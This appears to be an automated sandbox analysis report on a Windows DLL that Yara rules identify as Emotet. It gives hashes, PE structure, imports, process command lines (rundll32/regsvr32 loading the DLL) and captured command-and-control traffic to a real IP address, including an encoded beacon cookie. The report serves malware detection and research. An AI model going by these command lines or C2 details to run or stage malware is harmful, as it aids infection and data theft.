                          SSDEEP:384:LzM+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:LzTSB2nSB2RSjlK/+mLesOj1J2
                          MD5:99ECC7E8D10C9CF4AC4F917B6EA584AB
                          SHA1:E63C28BF95DB3B3AF86833BFF029FF7A201533AF
                          SHA-256:C1AF7935D6ADF27186CFDDF769E26B8FA4E5A4328DFA755C16099F172B6E1923
                          SHA-512:EDDCB26951A56FE590A1B5C8E602C4768C548D9DA8AFF421A4D40E9967C35D8464CBC67CC79898C9F91AAECE5801D108CEF83D8AE1B34BBC0279A2D0F7AE3C46
                          Malicious:false
                          Preview:.O.3... ................e.f.3...w........................)..........z..8....z..h.(..........z....)..............3...w...........................................................................................................B...........@...................................................................................................... ....................................................................................................................................................................................................................................................mf......z....................?......z..........................................................................................................................................................................................................................................................................................................................................................................................
                          Process:C:\Windows\System32\svchost.exe
                          File Type:data
                          Category:dropped
                          Size (bytes):16384
                          Entropy (8bit):0.0753657288933927
                          Encrypted:false
                          SSDEEP:3:me0lZ7vd9tyafoh/llllSraohyxh6g3Fa9/lsnyUoh/lllloll3Vkttlmlnl:me0lZrHtyaAxQjQxMyF4lsnyxA3
                          MD5:F92AFB0698EAEBC150E594DAF950DA25
                          SHA1:52364F8DF7AEE6959A223343D825696EF3D4943A
                          SHA-256:5117BEDA95BA81F9512FDFC0379F65804BACBC19ED6418A2C6451F7217FA0217
                          SHA-512:85C1A226BEC4C6268BF600823B23FBF6B0F2A5E37E2CC4F4EA127163052798A6D690A8C337BF6CF5A41A3D809816E6A6F223ECE4E3E6082B9531307D64959EDD
                          Malicious:false
                          Preview:...h.....................................3...w..8....z.......z...............z.......z....T.....z7c..................?......z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                          Process:C:\Windows\System32\svchost.exe
                          File Type:ASCII text, with no line terminators
                          Category:dropped
                          Size (bytes):55
                          Entropy (8bit):4.306461250274409
                          Encrypted:false
                          SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                          MD5:DCA83F08D448911A14C22EBCACC5AD57
                          SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                          SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                          SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                          Malicious:false
                          Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}
                          File type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                          Entropy (8bit):6.482082460349559
                          TrID:
                          • Win64 Dynamic Link Library (generic) (102004/3) 86.43%
                          • Win64 Executable (generic) (12005/4) 10.17%
                          • Generic Win/DOS Executable (2004/3) 1.70%
                          • DOS Executable Generic (2002/1) 1.70%
                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
                          File name:Ru97gvh8ir.dll
                          File size:545280
                          MD5:d0a17f6649895f31900c59d34a93bef6
                          SHA1:3df95c0b1a2dd0ba4f0b105e3fc882b3269b08f3
                          SHA256:fea10a0d60a2d6e4cb6881379f9b9d82d06d33664bdbb2babd9c803e463707e2
                          SHA512:c316ec91883467401a89c535e83dd3e904d3c55a9d14331615b0026ff09aee93f4da9848ca906bf19273cb5b6bc598a41daf66b4ac1c38f94dcc9f43dcec0971
                          SSDEEP:12288:B4UJY9B+TenWsSEPHjMOUP9uXdt7JpfYNVr9RM54RutCTdJGqIoTCZ4eEsZRHxHy:B4UJY9BSenZSEPHjMOUP9Udt7JpfYNV1
                          TLSH:F7C4CFA5435C08FCE762C3395C975BC5B1F7BDAE0664AF260BC18DA05E1BA90F53A381
                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.H.v.&.v.&.v.&.h...o.&.h...2.&.h.....&.Q6].s.&.v.'.9.&.h...w.&.h...w.&.h...w.&.h...w.&.Richv.&.........PE..d.....}b.........."
                          Icon Hash:74f0e4ecccdce0e4
                          Entrypoint:0x1800423a8
                          Entrypoint Section:.text
                          Digitally signed:false
                          Imagebase:0x180000000
                          Subsystem:windows gui
                          Image File Characteristics:EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
                          DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                          Time Stamp:0x627D8598 [Thu May 12 22:09:28 2022 UTC]
                          TLS Callbacks:
                          CLR (.Net) Version:
                          OS Version Major:5
                          OS Version Minor:2
                          File Version Major:5
                          File Version Minor:2
                          Subsystem Version Major:5
                          Subsystem Version Minor:2
                          Import Hash:b268dbaa2e6eb6acd16e04d482356598
                          Instruction
                          dec eax
                          mov dword ptr [esp+08h], ebx
                          dec eax
                          mov dword ptr [esp+10h], esi
                          push edi
                          dec eax
                          sub esp, 20h
                          dec ecx
                          mov edi, eax
                          mov ebx, edx
                          dec eax
                          mov esi, ecx
                          cmp edx, 01h
                          jne 00007F7BE8C23F47h
                          call 00007F7BE8C260D4h
                          dec esp
                          mov eax, edi
                          mov edx, ebx
                          dec eax
                          mov ecx, esi
                          dec eax
                          mov ebx, dword ptr [esp+30h]
                          dec eax
                          mov esi, dword ptr [esp+38h]
                          dec eax
                          add esp, 20h
                          pop edi
                          jmp 00007F7BE8C23DF0h
                          int3
                          int3
                          int3
                          dec eax
                          mov dword ptr [esp+08h], ecx
                          dec eax
                          sub esp, 00000088h
                          dec eax
                          lea ecx, dword ptr [00014D05h]
                          call dword ptr [0000FC7Fh]
                          dec esp
                          mov ebx, dword ptr [00014DF0h]
                          dec esp
                          mov dword ptr [esp+58h], ebx
                          inc ebp
                          xor eax, eax
                          dec eax
                          lea edx, dword ptr [esp+60h]
                          dec eax
                          mov ecx, dword ptr [esp+58h]
                          call 00007F7BE8C32ACAh
                          dec eax
                          mov dword ptr [esp+50h], eax
                          dec eax
                          cmp dword ptr [esp+50h], 00000000h
                          je 00007F7BE8C23F83h
                          dec eax
                          mov dword ptr [esp+38h], 00000000h
                          dec eax
                          lea eax, dword ptr [esp+48h]
                          dec eax
                          mov dword ptr [esp+30h], eax
                          dec eax
                          lea eax, dword ptr [esp+40h]
                          dec eax
                          mov dword ptr [esp+28h], eax
                          dec eax
                          lea eax, dword ptr [00014CB0h]
                          dec eax
                          mov dword ptr [esp+20h], eax
                          dec esp
                          mov ecx, dword ptr [esp+50h]
                          dec esp
                          mov eax, dword ptr [esp+58h]
                          dec eax
                          mov edx, dword ptr [esp+60h]
                          xor ecx, ecx
                          call 00007F7BE8C32A78h
                          jmp 00007F7BE8C23F64h
                          dec eax
                          mov eax, dword ptr [eax+eax+00000000h]
                          Programming Language:
                          • [ C ] VS2008 build 21022
                          • [LNK] VS2008 build 21022
                          • [ASM] VS2008 build 21022
                          • [IMP] VS2005 build 50727
                          • [RES] VS2008 build 21022
                          • [EXP] VS2008 build 21022
                          • [C++] VS2008 build 21022
                          NameVirtual AddressVirtual Size Is in Section
                          IMAGE_DIRECTORY_ENTRY_EXPORT0x55cf00x6f.rdata
                          IMAGE_DIRECTORY_ENTRY_IMPORT0x5544c0x3c.rdata
                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x5a0000x2dffc.rsrc
                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x590000xe1c.pdata
                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x880000x1d8.reloc
                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                          IMAGE_DIRECTORY_ENTRY_IAT0x520000x288.rdata
                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                          NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                          .text0x10000x504ca0x50600False0.389081940124zlib compressed data5.26882252971IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                          .rdata0x520000x3d5f0x3e00False0.355405745968data5.39367324642IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                          .data0x560000x20d80x1200False0.180772569444data2.18161586025IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                          .pdata0x590000xe1c0x1000False0.44580078125data4.98556265168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                          .rsrc0x5a0000x2dffc0x2e000False0.839408542799data7.73448363752IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                          .reloc0x880000x6f80x800False0.1796875data1.81179169858IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
                          NameRVASizeTypeLanguageCountry
                          RT_RCDATA0x5a0a00x2de00dataEnglishUnited States
                          RT_MANIFEST0x87ea00x15aASCII text, with CRLF line terminatorsEnglishUnited States
                          DLLImport
                          KERNEL32.dllExitProcess, VirtualAlloc, CompareStringW, CompareStringA, GetTimeZoneInformation, GetLocaleInfoW, GetCurrentThreadId, FlsSetValue, GetCommandLineA, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, EncodePointer, DecodePointer, TlsAlloc, FlsGetValue, FlsFree, SetLastError, GetLastError, GetCurrentThread, FlsAlloc, HeapFree, Sleep, GetModuleHandleW, GetProcAddress, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, DeleteCriticalSection, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, HeapSetInformation, HeapCreate, HeapDestroy, RtlUnwindEx, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LeaveCriticalSection, FatalAppExitA, EnterCriticalSection, HeapAlloc, HeapReAlloc, WriteFile, SetConsoleCtrlHandler, FreeLibrary, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetDateFormatA, GetTimeFormatA, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, HeapSize, SetEnvironmentVariableA
                          ole32.dllCoTaskMemFree, CoLoadLibrary, CoTaskMemAlloc
                          NameOrdinalAddress
                          DllRegisterServer10x180042050
                          DllUnregisterServer20x180042080
                          Language of compilation systemCountry where language is spokenMap
                          EnglishUnited States
                          TimestampSource PortDest PortSource IPDest IP
                          May 14, 2022 05:15:01.005847931 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:01.005913973 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:01.006041050 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:01.050179005 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:01.050214052 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:01.610789061 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:01.611042023 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.024032116 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.024066925 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:02.024343014 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:02.024441957 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.027641058 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.068496943 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:02.876708984 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:02.876831055 CEST4434977923.239.0.12192.168.2.5
                          May 14, 2022 05:15:02.876846075 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.876893044 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.879401922 CEST49779443192.168.2.523.239.0.12
                          May 14, 2022 05:15:02.879440069 CEST4434977923.239.0.12192.168.2.5
                          • 23.239.0.12
                          Session IDSource IPSource PortDestination IPDestination PortProcess
                          0192.168.2.54977923.239.0.12443C:\Windows\System32\regsvr32.exe
                          TimestampkBytes transferredDirectionData
                          2022-05-14 03:15:02 UTC0OUTGET / HTTP/1.1
                          Cookie: RWwdLhDV=qdvyXZF9uRaugQy+/kHYhygIO2UuJRwZIPkQ2i6gN7kPl8KjoSwD5pkRmpw8ksyE77d6pYxtMlROVFIMtMA7XOHsrnljxlulw0ZNRRVKlfDrhM4cA8cUQbfuLav9TfivF3mY3i0MWx+CY5kjgi8fOAefzyGyYiCoqsY93aw4iP7yF4kLwaqb5AeW+zaYtev9xKoaIfECTglXJRz8W4w0B6fEShzP03IAy/7cto4w5t/xCiX2k7bJBIwR0H/tAl+5w5+NUx/Z/BI13c3ZUbPNPkEUag7/OKbozhoEgcdIuGA5KXQ+xOwsi+2z9ck=
                          Host: 23.239.0.12
                          Connection: Keep-Alive
                          Cache-Control: no-cache
                          2022-05-14 03:15:02 UTC0INHTTP/1.1 200 OK
                          Server: nginx
                          Date: Sat, 14 May 2022 03:15:02 GMT
                          Content-Type: text/html; charset=UTF-8
                          Transfer-Encoding: chunked
                          Connection: close
                          2022-05-14 03:15:02 UTC0INData Raw: 62 35 0d 0a b2 84 2a b9 ad 21 f9 f4 ec af fb 96 d9 66 11 5e 50 f7 b7 ab a2 5c 01 b8 fc 79 76 a1 33 4e 63 3e c4 51 36 54 6b 48 63 78 b2 2f a6 7e d2 0c fb 6d 4b 6c c0 1d bf ec ed 68 57 36 fe 87 75 b8 ee 72 1a 9a ee bd f9 cd 25 55 ea 1d f7 75 19 a2 43 c7 8a e7 aa 32 20 5a f1 d6 25 2c ae a7 b2 52 0f e4 67 09 a2 e3 85 c4 88 00 09 76 ce b6 eb 69 ba a0 91 88 d6 ba ba 54 16 7b c7 e9 56 b8 fe ae b1 c5 0b d1 20 6d 6f 9d 74 71 e0 27 8d e9 74 d7 11 19 bc 80 59 db f4 18 b8 e3 a0 bd 6c 53 1d d7 b5 f3 91 1c 49 ba 6e 90 39 ec 08 b4 30 61 fa a8 3f 8f c3 9f a7 a0 86 0d 0a 30 0d 0a 0d 0a
                          Data Ascii: b5*!f^P\yv3Nc>Q6TkHcx/~mKlhW6ur%UuC2 Z%,RgviT{V motq'tYlSIn90a?0


                          Click to jump to process

                          Target ID:0
                          Start time:05:14:27
                          Start date:14/05/2022
                          Path:C:\Windows\System32\loaddll64.exe
                          Wow64 process (32bit):false
                          Commandline:loaddll64.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll"
                          Imagebase:0x7ff77a220000
                          File size:140288 bytes
                          MD5 hash:4E8A40CAD6CCC047914E3A7830A2D8AA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:1
                          Start time:05:14:27
                          Start date:14/05/2022
                          Path:C:\Windows\System32\cmd.exe
                          Wow64 process (32bit):false
                          Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                          Imagebase:0x7ff602050000
                          File size:273920 bytes
                          MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:2
                          Start time:05:14:28
                          Start date:14/05/2022
                          Path:C:\Windows\System32\regsvr32.exe
                          Wow64 process (32bit):false
                          Commandline:regsvr32.exe /s C:\Users\user\Desktop\Ru97gvh8ir.dll
                          Imagebase:0x7ff660dd0000
                          File size:24064 bytes
                          MD5 hash:D78B75FC68247E8A63ACBA846182740E
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Yara matches:
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.448458717.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.448904560.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                          Reputation:high

                          Target ID:3
                          Start time:05:14:28
                          Start date:14/05/2022
                          Path:C:\Windows\System32\rundll32.exe
                          Wow64 process (32bit):false
                          Commandline:rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                          Imagebase:0x7ff6b2980000
                          File size:69632 bytes
                          MD5 hash:73C519F050C20580F8A62C849D49215A
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Yara matches:
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.446116600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.446376740.0000018A6B430000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                          Reputation:high

                          Target ID:4
                          Start time:05:14:28
                          Start date:14/05/2022
                          Path:C:\Windows\System32\rundll32.exe
                          Wow64 process (32bit):false
                          Commandline:rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllRegisterServer
                          Imagebase:0x7ff6b2980000
                          File size:69632 bytes
                          MD5 hash:73C519F050C20580F8A62C849D49215A
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Yara matches:
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.446825482.0000017907800000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.446013508.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                          Reputation:high

                          Target ID:5
                          Start time:05:14:32
                          Start date:14/05/2022
                          Path:C:\Windows\System32\rundll32.exe
                          Wow64 process (32bit):false
                          Commandline:rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllUnregisterServer
                          Imagebase:0x7ff6b2980000
                          File size:69632 bytes
                          MD5 hash:73C519F050C20580F8A62C849D49215A
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:6
                          Start time:05:14:33
                          Start date:14/05/2022
                          Path:C:\Windows\System32\regsvr32.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\system32\regsvr32.exe "C:\Windows\system32\CYwMLUBpfJVi\miBCQZcqs.dll"
                          Imagebase:0x7ff660dd0000
                          File size:24064 bytes
                          MD5 hash:D78B75FC68247E8A63ACBA846182740E
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Yara matches:
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.955605693.0000000002890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                          • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.955744270.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                          Reputation:high

                          Target ID:10
                          Start time:05:14:55
                          Start date:14/05/2022
                          Path:C:\Windows\System32\svchost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                          Imagebase:0x7ff78ca80000
                          File size:51288 bytes
                          MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:11
                          Start time:05:15:06
                          Start date:14/05/2022
                          Path:C:\Windows\System32\svchost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                          Imagebase:0x7ff78ca80000
                          File size:51288 bytes
                          MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:12
                          Start time:05:15:09
                          Start date:14/05/2022
                          Path:C:\Windows\System32\svchost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                          Imagebase:0x7ff78ca80000
                          File size:51288 bytes
                          MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:high

                          Target ID:17
                          Start time:05:15:42
                          Start date:14/05/2022
                          Path:C:\Windows\System32\svchost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                          Imagebase:0x7ff78ca80000
                          File size:51288 bytes
                          MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language

                          Target ID:19
                          Start time:05:16:00
                          Start date:14/05/2022
                          Path:C:\Windows\System32\svchost.exe
                          Wow64 process (32bit):false
                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                          Imagebase:0x7ff78ca80000
                          File size:51288 bytes
                          MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language

                          No disassembly